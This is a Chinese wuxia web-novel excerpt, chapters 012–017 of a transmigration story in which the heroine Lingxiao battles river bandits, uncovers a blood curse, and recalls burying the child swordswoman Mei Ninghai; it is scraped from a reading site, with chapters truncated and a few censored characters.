“是的是的，你看我现在不就妥协了？”范千桑一边附和一边还是没有忘记去瞪冯舞清。虽然冯舞清看不到现实里他的恶毒眼神，但他知道冯舞清绝对能“看”到他现在到恶意情绪。 “确实有些道理。”凌霄点头，手却开始运气，毫不留情迅速刺在了范千桑脸上，“为了防止你告密叛变，还是先让你死心比较方便。好了，这下在我出手解除之前，你的嗅觉都不会恢复了。” 凌霄收回踩着范千桑肩膀的脚，顶着憎恶的眼神淡定地介绍自己的能力：“恢复嗅觉除了找我以外无解，比我内力深 12. 012 《杜凌霄，度恶诛邪》全本免费阅读 凌霄领着两人来到了玄一派名下的客栈休息整顿。 对度邪大侠的实力心服口服却没办法直白承认的少年剑客走在队伍的最后面，一边瞪着凌霄的背影一边不服气地解释自己的行为：“哼，我绝对会是最先找到雨林的那个人！在此之前只是为了雨林跟你们同行而已，你可别以为我现在就是你们的队友了！” 范千桑身上狼狈而凌乱的白衣使得他在人群来来往往的街道上也分外显眼，刚开口就吸引了不少目光。 冯舞清非常乐于和范千桑对戏：“那你绝对输定了。真不知道雨林怎么交到你这样作风冲动的朋友的。不像我，只一心一意要找到雨林。” 凌霄有理由怀疑这两个人演戏时估计是称呼聂雨林最亲密的时刻。如果聂雨林在场，绝对会因为他俩的聒噪恨不得让两个人尽快闭嘴。 范千桑顶着大堂里围观群众们好奇的目光，再也忍受不了自己白衣身上的淡淡脚印。越过凌霄二人先找老板准备自己找个房间打理仪容。他当然没有忘记暗中观察客栈的情况计划自己的逃脱路线，然而正在播算盘的客栈老板只是抬头打量了自己一眼，很快就看向凌霄征求命令。 范千桑不得不感谢自己现在心直口快绝不留口的剑客角色，立马发作：“你这个客栈是要做生意的吧，怎么还……” 凌霄打断了他的借机生事，冲着客栈老板点了点头。于是立马有态度良好的店小二从柜台后方笑着迎出，将他往楼上请：“这位客官里面请，真是不好意思，我们掌柜的算账的时候太专心了顾不来招待客人，这才怠慢了您。” 范千桑从对方轻快却几乎无声的步伐里察觉到了异样，当即领悟到对方是来监视他的眼线，只能装作大度的样子冷哼一声，跟在点头哈腰的店员身后上了楼。 凌霄用刚刚上桌的点心堵住了冯舞清的嘴。 冯舞清努力收敛了自己上扬的嘴角，有些庆幸自己无神的双眼不会透露出任何笑意：“我就是看不惯那个眼高于顶的家伙而已嘛。要不是他和雨林是朋友，肯定会拖我们后腿的。” 隶属于玄一派的客栈里自然全是符合门派大师姐喜好的东西。凌霄谢过主动为自己倒了杯花茶的店员，心情也变得美妙起来：“现在找到聂雨林最优先，其余的都可以忽略不计。他带着关键性的线索，就暂且信任他一下好了。” 现在度邪大侠短时间内又再次下山的情报还没有流传出去，因此并没有人将衣着低调并未携带长枪的凌霄与度邪大侠联系在一起。自从她成名之后，不止玄一派的众弟子，连江湖中都有不少崇拜度邪大侠的年轻侠客有意识地背上长□□仿起她的穿着打扮。度邪大侠本尊也由此变得不显眼起来，成功融入人群。 武林世界的信息差利用起来可以得到不少方便，但在确定刘应水位置方面，果然还是现代社会层出不穷的高科技手段更加便捷。不然凌霄现在也不需要引蛇出洞了。 她在木桌上的菜快要摆满时无奈地拒绝了客栈大家的好意。好不容易接待一次玄一派大师姐，后厨似乎是激动过了头，一盘盘色香味俱全的佳肴如流水般送上了凌霄的桌子，完全已经超出了三个人的饭量。沉浸在算账从刚开始就没有动过的老板见凌霄表态，立刻收起宝贝算盘进了内厨。 早已经习惯度邪大侠待遇的冯舞清不等范千桑下楼就拿起了筷子，正好让换上崭新白衣的范千桑目睹了对方所吃到的第一口美味。 “我不想请这个嘴硬的家伙吃饭诶。”冯舞清开始算账，“救人交换情报我们两清，互不相欠，记得把你的饭费结算清楚。” 范千桑涨红了脸，怒气冲冲坐在了靠近凌霄的那一边，从兜里拿出银子就想往桌子上拍：“不用你说我也会的！小爷才不需要你们请我吃饭！” 然而饭菜满满当当挤满了桌面，范千桑充满气势的一砸在半路上不得不改道，变成了轻轻挤进盘子间隙。 冯舞清连忙再吃了口饭，以防止自己的笑声会控制不住泄漏出来。 凌霄非常怀疑范千桑现在正在心里骂人，因为对方的眼神已经泄漏了他的心思。她不得不放下筷子出声提醒了二人几句：“之后还要共同行动，小事就先放一边吧。” 她没有心思和敌对阵营的范千桑多说，剩下的时间注意力全放在了吃饭补充能量上。被彻底无视的范千桑只能暗中怒瞪自己碗里的米饭。因为他发现只要他看向凌霄，店里属于玄一派的家伙们就会用更加不友好的视线回敬他。身处敌方大本营，范千桑决定忍气吞声，把一切都记到冯舞清、聂雨林、刘应水还有玄一派身上。 他发自内心不想和度邪大侠再度对上了。 凌霄当然知道自己身边的两人到底在想什么。冯舞清正对演戏兴致勃勃时刻准备欣赏范千桑的假意表演，而范千桑则是在内心记账等着报复回去。被迫卷入成为陷阱的聂雨林可能正在捂着耳朵自闭。还不知道具体行踪的刘应水，大概正在因为计划顺利进行开始感叹天助我也自己果然谋略过人智多近妖。 凌霄懒得想这些熟人们的举动，于是开始在脑内复习度邪大侠的武功。她千锤百炼出来的技法自然一眼就能辨别出度邪大侠独创枪法的优劣，也同时思考出了不少能让其威力更上一层楼的招式。不得不说度邪大侠深厚的内力成为了凌霄的依仗，使得她确信自己能够施展不少独创的特技，就算现在对上灵水教教主也完全没有问题。 想要她的血，也要有相应的本事才行，不然只会自讨苦吃。 饭桌上刚安静不过片刻，冯舞清和范千桑又因为抢菜吵了起来。了解冯舞清视觉问题的范千桑根本不会放过这个报复时机，提前出手劫走了好几次冯舞清想吃的东西。 冯舞清毫不留情一脚踢上了范千 13. 013 《杜凌霄，度恶诛邪》全本免费阅读 跟着凌霄二人开始赶路后，范千桑蠢蠢欲动准备见机行事的计划彻底破灭。 他和冯舞清并排仰望凌霄立在船头的身影，被推动小船快速前行的深厚内力震惊到久久失去言语。他甚至还是第一次坐上这样船速的小船，因为要不是凌霄已经封住了他的嗅觉，他一定已经因为过快移动时风中包含的爆炸信息量开始头晕目眩甚至呕吐了。他心无旁骛感受着风拂过自己面颊时传来的奇妙感知，连和冯舞清吵架的心思都彻底消失。 凌霄望着水波荡漾的江面，突然捕捉到了让自己感到不适的恶意。她皱着眉头向冯舞清确认：“舞清，右前方两百米左右的地方是不是有突发情况？” 冯舞清扭头开始仔细辨认，很快就确定了凌霄的感知并未出错：“是的大师姐，应该是有人劫船，我看到了船头有四个脏东西和带血气的武器，船舱里面全是惊恐害怕的颜色。” 范千桑眼睛一转，冷哼一声：“如果恢复我的嗅觉，我甚至能探知到船上的受伤状况。” “不需要那么麻烦。”凌霄丝毫没有放缓船速，按着原定的行动轨迹驾驶着小船飞速接近混乱的水域。她随手摘了几根与自己擦肩而过的芦苇，放在手中仔细感受了一番重量。 “而且你也不用担心，我肯定是能将你的嗅觉完美恢复的。” 小船与水面擦出浪花，马上就要与几艘混乱的船只擦肩而过。杂乱的哭声喊声彻底搅乱了原本应该水波不惊一片平静祥和的江面美景。载满货物的商船此刻正航行在孤立无援的江心地带，于是劫匪洋洋得意举起了自己带血的弯刀，威胁船舱里的人主动交出值钱的东西。 通识水性的他们自然已经听到了有小船经过的身影，却并没有把过于简陋的木船放在心上。 凌霄用右手夹住了四根长短不一的芦苇，面色冰冷将其冲着商船甩了出去。 范千桑的眼睛紧紧盯着凌霄的所有动作。 芦苇以不合常理的速度划破空气，精准地刺向几个劫匪。最先抵达的芦苇狠戾地刺穿了拿着弯刀叫嚣之人的手掌之后势头依旧不见分毫减弱，深深地钉入了木质甲板。剧烈的冲击使得劫匪根本顾不上手里的刀，被惯性带着一起狠狠地摔在了甲板上。芦苇扯着血洞带来的疼痛让他再不复先前的横蛮嘴脸，望着自己手里的血迹发出了尖锐的嚎叫。 然而他的同党们早已经自顾不暇，根本没有空闲功夫去关心同伴的情况。接二连三到达的芦苇犹如宣告死亡的箭矢，将四个劫匪全部笼罩在了无与伦比的恐惧之下，仿佛死亡刚刚与他们擦肩而过。 原本正在拆船仓门的两人一个被芦苇刺穿肩膀连带衣领钉在了船仓上，另一个被芦苇刺中踢门的那条小腿钉在了门上。最后一个反应最快听到同伴的惨叫就想往水里跳的家伙，则是被划破右肩钉回了船上。 一时之间商船的甲板上充斥着哀嚎和悲鸣之声。已经被吓破了胆的几人连声求饶，挣扎痛哭。 而小船依旧维持着原速前行，早已经将这些人抛到了身后。风声与水声再次环绕，而江面也恢复到了之前的平静之中。 冯舞清看到范千桑身上的情绪颜色简直成了万花筒，于是好奇地小声问道：“大师姐把那几个脏东西怎么了？” 范千桑知道她大致只能看到那几个人倒地不起，于是语气复杂地总结了自己亲眼目睹的芦苇的威力：“杜大侠的芦苇刺穿了他们……” “大师姐果然超级厉害！这次的芦苇？”冯舞清扭头看向凌霄。 “没有使用玄水经。”凌霄把玩着剩下的芦苇，有些可惜自己摘多了一根。为了不值得的人多消耗一根芦苇的生命，让她感到有些可惜。 “我就知道。”冯舞清分不清自己现在是高兴更多还是不接更多，以至于她开始希望自己的眼睛也能够直视自己的内心了。 “大师姐把芦苇还给江水就不算浪费了。”冯舞清撑着脸凝望着凌霄，轻声开口道。 “所以她现在这副不满意的样子是因为觉得浪费了芦苇？”范千桑的语气里充满了不可思议，以至于没能控制住自己的音量，“啊？” 凌霄将剩下的最后一根芦苇扔回水中，面无表情看向范千桑。 “抱歉，十分抱歉，杜大侠。我没有冒犯的意思，我只是有些太过吃惊了而已。”范千桑已经没有余裕再思考更加拥有诚意且语意真切的话语，只能眼神虚无地道歉。 凌霄只是扫了他一眼，重点还是在冯舞清身上：“那你现在有改变想法了吗？” 冯舞清微笑着回答：“完全没有！只想要和大师姐走同一条路。” 范千桑开始因为区别对待感到十分不平衡。他本来就容易对所有的事情产生不满，凌霄即便知道冯舞清本性却依旧维护对方为对方所着想的态度，让他本就燃烧着的妒火烧得更加旺盛。但他又顾忌凌霄的态度，只能坐在原地默默生气。 冯舞清起身体贴地为凌霄倒了杯水，顺便换了一个更加方便的角度，欣赏了一番自己老熟人身上的颜色变化。并在对方察觉到自己视线的时候，举起杯子笑着遥遥敬了对方一杯。就差把我正在看好戏写在自己脸上了。 十分清楚两人现在心思的凌霄坐在船头又看向了江面，只当什么都不知晓。 他们很快就赶到了青湖，并在范千桑的指引下直奔聂雨林的位置。 露天方桌前带着幕篱遮挡面容的女子被紧盯着一举一动，缩着身子有些拘束地坐着。她身旁还有不少穿着统一深色系长袍的人。其中最年轻的面庞正皱着眉头盯着桌脚发呆，即便是身边的人和自己搭话也权当是耳旁风，不理不睬。反而是聂雨林抬起头隔着白沙看了眼想要开口说话的人，于是那人立刻神情惶恐闭 14. 014 《杜凌霄，度恶诛邪》全本免费阅读 还没等教徒讲话说完，凌霄便已经清理完了所有暗藏的杂兵，从背后向劫持聂雨林的教徒挥出了拳头。被巨大冲击力砸中的教徒出于对死亡的惧怕，情急之下只记得先松开了桎梏着聂雨林的手，毕竟凌霄大侠不会杀人，聂云林确实会真的要他命的。 随后这位教徒就连一声哀嚎也来不及从喉咙发出，彻底倒地不起。 眼见凌霄伸手想要将聂雨林从危险地带带离，年轻男子神情一变，再也来不及思考自己的行动顺序，踩着同伴的身体慌张向着凌霄的方向刺出长剑，试图阻挠两人的动作。 与此同时，他自然没有忘记出声提醒：“小心聂雨林！” 然而在武力上十分生疏的他到底是迟了一步。 凌霄的手指已经触碰到了聂雨林的肩膀，终于接触到目标的毒物立刻发挥作用试图入侵凌霄的身体。她原本颜色正常的指甲不过片刻已经变做了几欲滴血的血红色，隐隐有向上蔓延的趋势。 年轻男子眼见错失良机，几乎是泄愤般用长剑削开了聂雨林的斗笠，直指对方最为重要的耳朵。杀气和剑鸣混在一起吵闹不休，便是最好的威胁：“解咒的方式！否则你的耳朵别想要了！” 范千桑原本还在得意聂雨林的血咒成功影响了杜凌霄，可云章的敌意和杀气让他彻底无法理解眼前发生的一切：“林云章你在发什么疯？你的脑子终于坏掉了吗？” 冯舞清早就已经失去了笑意，即便信任大师姐的判断，她也厌恶想要沾染大师姐灵魂光彩的肮脏东西：“聂雨林，告诉我解咒的方法。” 她手里的匕首已经架在了范千桑的脖子旁边。情急之下自然也顾及不到自己的作风问题，一点也不符合早已改邪归正的形象：“还有你范千桑，你最好把自己知道的事情全部交代清楚。大师姐有个好歹，我是绝对不会放过你们所有人的。” 这是一句伴随着杀气无比认真的威胁，没有人会怀疑冯舞清言语的真实性。她因为作风随心所欲亦正亦邪，背负血债只多不少，做得出杀光灵水教的事情。 毁掉她光辉的人会被她视为肮脏的敌人。她不介意亲手杀掉在场的所有无药可救的脏东西，也算是为净化世界做出了一份贡献。 一直没有出声的凌霄看了眼自己的右手，脸上的神情丝毫未变：“舞清，不用担心我。倒是这位云章先生——” 她控制着匕首在自己左手中转了一圈：“不知道又有何意？你也是灵水教教徒吧。” 被凌霄注视着的年轻男子浑身一震，但唯独手里的剑没有受到影响，依旧贴着聂雨林的耳朵散发着金属特有的寒意。 他为了降低自己的可疑程度摘下了自己头上的兜帽露出了俊秀且年轻的正脸，试图向凌霄解释她目前的危险境地：“你中了灵水教的血咒，现在十分危险！刘应水不仅能感应到你的位置还能控制你的身体！” 因为声音的混乱，聂雨林崩溃地闭上了眼睛。林云章隔着她向凌霄解释的话语对聂雨林而言比耳边的长剑更像是一种折磨。她已经彻底失去了分析现状的欲望，只希望所有人都立刻从自己的世界里消失，留下一片清静。 林云章皱着眉头痛苦地搜寻自己的记忆：“不，聂雨林和范千桑都不一定有解咒的能力。我的血、对、干脆用我的……” 凌霄已经从这位林云章的眼神中察觉到了蹊跷。这不应该是属于与度邪大侠从未有过交流，身在灵水教中教徒的眼睛。这双漆黑眼眸里对自己的敬仰和担忧都发自肺腑不掺半点虚假。年轻且养尊处优没有经历过什么大风大浪显得十分稚嫩的脸属于林云章，但这双眼睛却不符合凌霄对林云章的猜想。她当然见过出生□□与自己毫无交流的云章灵魂应该是什么状态。与同位体相比，这个极力想要取得凌霄信任甚至不惜和同僚反目的云章浑身都是破绽和谜团。 但并不影响凌霄的计划。 她收起匕首，用没有中血咒的那只右手轻轻掠过聂雨林的耳朵，随后走向掩饰不住怒意的冯舞清：“放开范公子吧。反正他也反抗不了。” “大师姐。”冯舞清暗淡的红色眼眸正对上凌霄的眼睛。犹豫了一瞬还是听从凌霄的指示，放弃了找范千桑泄愤。 范千桑抬手揉了揉自己的脖子，摸出来一道血痕：“你这个瞎子是故意的吧！” “血咒既然能让刘应水确定我的方位的话，我自然也能通过血咒反向追踪到刘应水的位置。”凌霄见冯舞清担心，认真向她解释道，“它在我身体里不过是方便的定位仪，不用担心会对我的身体造成任何损伤。” 武侠世界的血咒对见多识广的凌霄而言不过是小菜一碟，度邪真君的世界里她见过太多比刘应水低等血咒更危险的东西。这种程度的侵蚀要不是她刻意收敛，甚至根本破不开她的防御。 凌霄向冯舞清展示自己中招的左手。以冯舞清的眼睛自然能够看到血咒肮脏的色彩被牢牢压制在眼前发光体的左手部位。 “那就好……”最先安心下来出声的反而是林云章，于是他立刻获得了在场所有人的注意。 在确定凌霄无恙以后，冯舞清也恢复了镇定，有闲心去观察无关人等的状态了：“奇怪，白纸先生怎么突然像被洗掉了墨水一样？” 被称为白纸的林云章再次打了个寒颤，明白自己必须交代自己所作所为的动机了，否则他会被冯舞清和凌霄一起视为敌人。他慌乱地解释，勉强凑成有逻辑的句子：“我、我只是一直仰慕度邪大侠的风范，才不忍心她被这样卑鄙的奸计所算计！” 卑鄙奸计的执行人对视一眼。都从对方的眼睛里看到了震惊。 向来讨厌林云章的范千桑根本没有为同僚提供帮助的意思，张嘴就来：“等度邪大侠找上门来终于幡然醒悟，林云章你的运气和速度可真不错。” 林云章看都不看他一眼，全部的注意力都在抱臂审视自己的凌霄身上：“我知道刘应水制作血咒时研究的东西！我能帮你接触血咒！还有刘应水经常出没的地方。” 冯舞清喜欢这样的戏码，为他鼓掌：“临阵投敌，我喜欢。没想到白纸先生原来这么有趣，要是能在快几步就更好了。” “你都能弃暗投明我凭什么不能？我的过去清清白白，连人都没有杀过。”林云章厌恶任何在凌霄面前抹黑他的发言。 江云章不清楚自己为何一睁眼就来到了这个有武功存在的古代社会，还成为了和自己同名，长相一模一样的林云章。他确实有不少次同步过平行世界自己的记忆，但如此频繁发生还是第一回。 不过凌 15. 015 《杜凌霄，度恶诛邪》全本免费阅读 杜凌霄第一次，也是最后一次见到梅凝海的日子，是一个宁静且祥和的夜晚。 她抱着梅花粥坐在客栈的墙头，静静凝望着月下寒梅所拥有的独一无二的魅力。客栈厨师的巧手虽然将梅花香气成功封印在粥中成为了十分有地域特色的美食，到底没办法与枝头正迎寒盛放的腊梅相比。杜凌霄就着白瓷红梅的勺子吃了几勺就已经感到腻味，决定自己出来亲身体会梅花的美丽。 她自幼习武，天赋了得，抱着瓷碗也能稳稳当当踏上砖墙，在月色下欣赏以梅花而闻名的寿海镇景色。登高望远，视角的优势让她很快注意到了正缓慢靠近客栈的瘦小身影。寒冬的夜晚冰冷异常，她看了眼自己手中的热粥，又望向和自己年岁相近，在寒风中艰难前行的身影，难免动了几分恻隐之心。 于是杜凌霄翻身跳下墙头，向着陌生的身影友好地发出了邀请：“你想喝梅花粥吗？” 融入黑夜的影子身形一顿，望向突然出现在自己身前的杜凌霄。客栈里的灯火照亮了大门附近的小路，还有杜凌霄英气勃勃充满善意的侧脸。光好像永远都是她的伙伴，不论是出自人手试图驱散寒夜的灯火，还是来自遥远时空看似一视同仁的太阳。 “……你不是该死的那个人。”黑影在喃喃自语。由于太长时间没有和人交流，声音嘶哑难辨。 “你说什么？”杜凌霄疑惑地问道。她自幼开始习武，年纪轻轻便有了不俗的武力傍身，自然在缺少阅历的同时又对自己的实力拥有绝对的信心。根本没有考虑过双亲俱在热闹非凡的客栈附近会出现什么可怕的危险。 “我说，我想喝梅花粥。”陌生人第二次开口就已经变得清晰可闻语调正常，飞速调整好了自己的喉咙。然而涉世未深的杜凌霄只是听出对方和自己年轻相近，同为女孩。 “那我回去给你拿一碗新的吧！”杜凌霄转身欲回客栈，却被突然靠近的黑影拦下了脚步。 “我喝这碗便好。” 黑影一步步踏入了灯火摇曳的光亮范围，使得杜凌霄终于看清了自己正在与何人交谈。 她的推测没有错误，此刻站在她身前的确实是一位与她年龄相近，莫约十岁的女童。对方风尘仆仆，身上的衣物由于风吹日晒早就失去了原有的色彩，仅能从款式裁剪和磨损掉的纹样推测出原本也是光鲜得体的衣着。只是比衣物更加黯淡无光的还要数女童的眼睛，那双布满了死气的眼瞳好似早就已经半步踏入黄泉的领域，不像是属于生者的一部分。 这张年幼的脸上没有表情也没有情绪，以至于失去了相貌也失去了特征，只留下化不开的死亡逐渐蔓延，掐断了所有生者的特点。死亡与她相伴如影，以至于早已经侵占所有能代表未来的可能性，让这具躯壳停留在了此地，往生不能寻死无路。 杜凌霄终于注意到了几乎要让她窒息般的血腥气味。 女童拖在身后的石棒像是早就已经长出了血肉，已经被血液浸染入深，刻上了无法逃脱的杀气和死意。无数人的血液冲洗掉前人的痕迹，又被新的来客移除掉全部痕迹，周而复始永不停歇。甚至现在还有未干的血液正顺着石棒的纹理滴落在地上，融入被拖拽出的深深沟壑。血液已经成为了石棒的一部分。 杜凌霄僵在了原地。这是她第一次直面如何厚重的死亡，也是第一次接触这样铺天盖地的血腥。她几乎迅速反应过来了眼前女童的身份，由于震惊显得更加语无伦次：“……你、你是……” “我叫梅凝海。”死亡剑这样介绍道。 她的声音很轻，带着幼童特有的些许尖锐，无形中成为了一种强调。不知道是因为她不喜欢被称为死亡剑，还是因为她想要向杜凌霄介绍自己。 “我是杜凌霄。” 多亏了杜凌霄刻苦练习出来的武功，才让她成功控制住了自己的表情和动作，在将碗递给梅凝海的时候手没有抖一次，粥也没有洒出一点。她能感受到梅凝海对自己毫无恶意，再联想到死亡剑的作风虽然极端但所杀之辈具为大奸大恶的罪人，于是最开始的恐惧也开始消弭。变成了一种难以言说的复杂心绪。 她还以为自己是同龄人中武功最强的那一个，万万没想到死亡剑居然和自己年龄相仿。 “谢谢。”梅凝海右手正拖着滴血的石棒，用空着的左手接过了碗。在注意到粥里的梅花花瓣以后，她才恍然惊觉，抬头看向身侧的梅花。 夜风将花香慷慨无私送给了她们，甚至吹散了些许厚重的血腥气。 梅凝海望着树梢鲜艳欲滴的颜色，就着碗喝下了一口热粥。即便在寒风里梅花粥已经失去了温度，却不妨碍它成为了她短暂停留于人间的理由。 “我想去梅花林。”梅凝海突然对杜凌霄说道，“你想和我一起吗？” 杜凌霄没有拒绝这个邀请。 死亡剑待她如此友善，且说了她并不是该死的人，她们年龄相近……她用种种理由说服了自己，却无法解释自己为何对死亡剑早已毫无惧意。这样年幼的孩子成为了死亡剑还如此风尘仆仆，肯定吃了很多苦受了很多累。她心里那些微妙的不服气已经变成了好奇。 因为她记得死亡剑剑下的亡魂确实都是祸害江湖的大恶人。这是玄一派暗中调查出来的事实，即便再怎么不可思议，也无法改变的事实。 所以她向着梅凝海迈出了步子。 寿海偏郊区地带的梅园是当地的一大特色，每年都吸引了不少游客钱来这里参观赏梅，吟诗作赋。杜凌霄白日里已经跟随着父母亲的步伐见识了日光下的种种，没有预料到月光下的梅园也别有一番风采。寂静的苦寒中萦绕着浓郁的香气，久久不散。 她们自然而然交谈起来。 “我白天才和大家一起来过，我已经记住路了，你可以跟着我。” “是和你的父亲母亲一起吗？” “没错，我们都很喜欢梅花。” “我也很喜欢。”梅凝海倚着梅树说道，“凌霄花，我也很喜欢。” “粥要是再撒点糖味道会更好，而且刚出锅的会更好吃。” “我没那么喜欢吃甜的，现在这样就很好了。” “你累了吗？我们可以坐在树上……”杜凌霄话说到一半才注意到梅凝海不离手的石棒。 但出乎她的预料，梅凝海在打量了这个凶器片刻后，干脆地放了手，脚尖点地登上了梅花树。死亡剑轻飘飘的重量甚至没能晃动对方坐着的树枝。 “你以为石头是很重要的东西？”梅凝海打量着杜凌霄惊讶的表情，“确实很重。是爹娘师傅嬷嬷还有小狗加在一起的重量。” 杜凌霄第一次知道死亡剑拖着的是人的重量。 “但是现在已经不重了。石头和人一样都在磨损。”梅凝海望着树下的石棒 16. 016 《杜凌霄，度恶诛邪》全本免费阅读 描述着死亡的梦坐在杜凌霄身边。 她们聊了很多事情，梅花的颜色、月亮的皎洁、寿海镇独特的风景、左拐那条街上热情好客的老板…… 梅凝海见识过形形色色的人，纷纷扰扰的梦。她告诉杜凌霄自己学习了和血液有关的功法，告诉她自己最喜欢清晨师姐叫醒她时温柔的嗓音。匆匆路过小摊时总会看到曲终人散的冷清，窥见别人家里的烛火。 死前忏悔的人有的会反过来可怜死亡剑只是个不足十岁的女童，不知悔改的人会一直痛骂死亡剑不配为人，活该死了全家。森林里的个别小动物很可爱，乌鸦很聪明但却害怕她。离她最近的野兔妈妈把头放在她手上以后就死了，所以她就地掩埋了兔子的尸体。从此以后她也再没能等到一只会主动向她靠近的野兔。 一个人的旅途总有许多停留在记忆里的东西。杜凌霄坐在她身边听她回忆还能称得上美好的那些光景，心中生出了无限感叹。死亡剑和她相同的年纪，却已经见识过人世间那么多的风采，似乎还先所有人一步摸到了死亡的边角。除了有关于死亡的话题，杜凌霄能够精准的理解梅凝海说的每一句话。 梅凝海自然也看出了杜凌霄对自己武功的好奇，所以她毫不犹豫讲述了自己师门独创的秘籍，以血为本的武功听上去玄之又玄，但杜凌霄还是迅速理解了大概。 梅凝海为她鼓掌：“凌霄你理解得真快。” “可是比不上你。”杜凌霄摇了摇头，越是听梅凝海描述越是认清了自己和对方的差距。她还在苦心积累认知自己身体的阶段，但梅凝海早就已经到达了对身体绝对掌控且能够影响旁人的阶段。 “师傅说易灵法本就是像我这种气息运转要比旁人更快的人所创，我能够迅速掌控也是多亏了体质原因。”梅凝海的手轻轻放在了自己胸前，“我的心跳比旁人要快上半分。” 她轻声笑了出来，仿佛是想到了什么有趣的事情：“若是以心跳数来衡量一个人的生命，等到心跳消失便迎来死亡。我的心跳数消失的更快，也正好比旁人快了半生。” 杜凌霄不知道自己应该如何作答。但梅凝海也不需要她的应和。无法理解死亡接受事情进展的是杜凌霄，梅凝海只是温和地向她解释她所想要知道的一切，包括死亡。 “真是一个美好的夜晚。”梅凝海这样总结道，“我认识了一个新的朋友，认清了自己的终点即将摆脱所有束缚。” 她收回凝望着月亮的目光，看向杜凌霄。梅树上的梅凝海像是一个沐浴着月光的幻觉，死亡现在早已经脱离了她那双漆黑的眼睛——来到了她的身边，和她一同坐在梅树上。 他们都没有重量。但月光照出了死亡剑的影子，既死亡的影子。 “我能请你帮个忙吗？凌霄。”梅凝海礼貌地请求道。 杜凌霄没有拒绝，也想不到拒绝的理由。 “你可以明天早上来到这里将我埋在土下吗？我虽然能自己挖出土坑，和爹娘的重量一起躺进去，但我没有办法自己把自己埋掉。”梅凝海显然已经计划好了迎接死亡的所有步骤，“我准备睡在这株梅花树下，一定能伴着花香踏上新的旅途。” 杜凌霄忍不住抓住了自己身旁的树干。 梅园冷冷清清，月光冰冷，梅花也冰冷，风更冰冷。花香幽幽冷到尝不出甜味。树干被死亡浸染，冰冷变作察觉不到存在和温度。 死亡在这里放声高歌，让梅凝海轻到会被风淹没的嗓音震耳欲聋。 仅仅不到一个时辰，杜凌霄感觉自己好像和死亡也变成了朋友。因为他们实在是距离太近，太近。 “对不起，但我也只能拜托你了。”梅凝海语气愧疚地说道。她早已经孤身一人无人可靠，因此只能将生死大事交付给只有一面之缘，今天之前还是陌生人的朋友。 “我只会把坑填平，不知道怎么立冢。”杜凌霄低下了头，于是顺势看到了树下漆黑的泥土。明天，她的朋友会躺在那里。 “没有关系，填平就好。我不想让别人知道这里已经埋着一个我，我想安静地变成花肥。”梅凝海对死后的一切都没有要求，笑着向杜凌霄伸出了自己的手，“那约定好了，和我拉勾吧。” 杜凌霄的小指碰到了她冰冷的手。没有温度，就像那层皮肤底下没有流淌着血液，没有存在着灵魂。也许她现在看到的只是幻觉，真正的梅凝海早就已经和早逝的家人们一起飞上了天空。 杜凌霄尝试着将她的面容刻印在自己的记忆里。因为如果死亡剑真的踏入幽冥，她将会成为最后一个认识梅凝海的那个人，也是最后一个知晓她姓名的人。 死亡冲着杜凌霄露出微笑，萍水相逢后擦肩而过。 凌霄在记忆里挣扎，用手摸索着自己匕首刀柄处凹凸起伏的梅花。这把雕刻着梅花的锋利匕首是死亡剑为了感谢度邪大侠将自己埋葬，刻意放在梅花树下的。 凌霄深深地叹了口气。 她怎么可能不认识梅凝海？相同的灵魂在每个平行世界都天妒英才，每次都落得英年早逝这唯一一个结局。没人能抓住她迈向死亡的步伐，即便是医疗先进的现代社会，即便是可以长生不老的修仙世界，即便是能自己掌控命运的战争世界。梅凝海像是神不小心遗落在人间的孩子，在察觉到自己的疏忽之后，很快就重新带走了挚爱的孩子。以至于凌霄从来没有见过梅凝海成年以后的长相。 这个灵魂永远永远停留在孩童的形象。 “大师姐，死亡剑是什么颜色的？”冯舞清到底忍不住好奇，颇有些执着地开口询问。 凌霄正在梳理度邪大侠的记忆，分心答道：“对你来说应该非常耀眼。像是飞速燃烧的烟火一样。” 冯舞清一边观察着凌霄手上的血咒，一边叹了口气：“可惜我没有那个胆量亲自去见一见。” “死亡剑和现在的流言一样，早在多年前就已经死了，还是我亲手埋葬……”凌霄话语一顿，意识到了关键点，“为了祭奠她，我按照她们家族的风俗将我自己的血洒进了她的坟墓，代表生者对死者的祝福。刘应水拿到了我的血。” 话说到最后，凌霄的语气已经变成了绝对的肯定。刘应水也许很早以前就对度邪大侠的血液产生了兴趣，但却并不清楚血液究竟属于谁。石棒上残存的血迹层层叠叠也干扰了刘应水的判断，直到近期度邪大侠用血救人 17. 017 《杜凌霄，度恶诛邪》全本免费阅读 凌霄对刘应水的治下能力不做评价。现在与灵水教相关的四人全部当场跳反，足以证明某个行踪不定的教主到底有多么失败。当然也可能是因为对这几个放荡不羁眼里只有利益和自己的灵魂来说，忠诚是最不必要的东西。 现在自己既然已经通过血咒与刘应水之间建立了直接的联系，那么杀入敌阵彻底解决刘应水就成为了早晚的问题。比起惦记着自己血的家伙，凌霄现在更在意梅凝海的墓被糟蹋成了什么样子。她准备提着刘应水让他去梅凝海墓前好好忏悔，起码也要把刘应水废了武功后埋在树下待个两三天才解气。 她抬头看向聂雨林和范千桑：“你们两个等我清算完灵水教以后再来找我解除限制，至于你……” 主动跳反没有被封印住任何感官的江云章连忙接话：“让我跟着您吧！我想要亲眼见证刘应水的失败！” 他这具身体好歹也是珍贵的实验样本，在灵水教教内被尊称为圣子，武功在刘应水的实验下还算出色，只是没有什么实践机会。但在了解灵水教机密一事上绝对能够帮助到度邪大侠。因此江云章立刻积极发言，希望能够跟随在对方身边。 不论是出于希望进行糟心实验的刘应水赶快被制裁，还是出于厌恶自己□□出生的污点身份，江云章都想要摆脱灵水教这个糟糕的组织。 他平行世界的同位体林云章作为□□圣子，年幼失去母亲以后懵懵懂懂跟在利欲熏心的大人身后被灌输了无数扭曲的概念，因此在发现自己三观与普世世界观不同后就陷入了十分纠结的境地。敬仰度邪大侠扫奸除恶的同时，又憎恶自己善恶不分的环境，已经没有勇气脱离灵水教的自己。 江云章可没有□□圣子那么进退维谷踌躇不前，他全心全意都想帮助度邪大侠铲除掉为害一方的邪恶组织。好不容易遇到一个自己能够和杜凌霄携手的机会，他当然义不容辞，根本没有考虑原本的林云章会不会反对他的选择。就算反对，江云章也只会认为选择在□□老死，不站在度邪大侠那一边的平行世界的自己不知好歹，无药可救。 凌霄从江云章的眼神里察觉到了浓厚的违和感。就算自己和云章的缘分不浅，形形色色的世界里几乎都会相遇，但江云章的反应可一点都不像是第一次见到自己。大部分被她拯救以后的云章应该是先不知所措，再观察她的样貌，随后坚定自己的选择，然后在后续的相处里逐渐透露出对她的推崇信任以及崇拜，拥有完整且有逻辑的一套变化。 